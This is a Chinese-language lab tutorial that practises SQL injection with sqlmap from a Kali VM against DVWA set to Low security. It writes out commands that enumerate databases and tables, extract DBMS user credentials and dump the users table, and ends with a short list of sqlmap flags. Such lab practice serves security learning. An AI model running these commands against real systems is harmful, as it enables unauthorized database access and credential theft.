本文共有772字和12张插图,读完大约需要5分钟。
目录
1 简介
本文作为一个实验,练习一下sql注入。
本文共有670个字、12张图片,读完大约需要3分钟。
2 本文环境
一台CentOS7 32位 虚拟机,一台Kali 2020.1b 32位 虚拟机。CentOS上安装LNMP环境、DVWA,Kali虚拟机系统本身带有sqlmap。
3 登录DVWA
在Kali的浏览器上访问搭建好的dvwa,登录admin用户之后点DVWA Security,在下拉框中选Low,点Submit,
点SQL Injection,点Submit
复制浏览器地址栏的URL
4 打开sqlmap
在Kali里打开Sqlmap,输入如下命令,
sqlmap -u "http://192.168.1.128/dvwa/vulnerabilities/sqli/?id=&Submit=Submit#" --cookie "security=low; PHPSESSID=blb32d0eb5arnt0r80eloeblb1" --batch
检测到对方的DBM为5.5以上版本:
5 sql注入命令
5.1 获取所有数据库名
输入如下命令:
sqlmap -u “URL” --cookie “ ” --batch --dbs //注入数据库
检测到对方的数据库名称
5.2 获取某数据库中的所有表名
输入如下命令:
sqlmap -u “URL” --cookie “ ” --batch -D dvwa --tables
获取到数据库名为dvwa中的表名:
5.3 获取到数据库管理系统的用户名和密码
输入如下命令:
sqlmap -u “URL” --cookie “ ” --batch --users --passwords
获取到数据库管理系统的用户名和密码:
5.4 获取到某数据库中某表中的两列数据
输入如下命令
sqlmap -u “URL” --cookie “ ” --batch -D dvwa -T users -C “user,password” --dump
获取到名为dvwa的数据库中表名为users中的用户名和密码
5.5 获取到数据库中所有的表名
输入如下命令
sqlmap -u “URL” --tables //猜表名
获取到数据库中所有的表名:
输入如下命令
sqlmap -u “URL” --columns -T //猜解列名
测试不成功,获取失败:
5.6 爆出某表中某列数据
输入如下命令
sqlmap -u “URL” --dump -C “列名” -T “表名” //爆出字段数据
测试不成功,获取失败:
6 附录
--dbs //所有数据库
--tables //所有表
--columns //所有列
--users //用户名
---count //统计条数
--level //测试等级 (1-5) 默认1 cookie 2 http 头3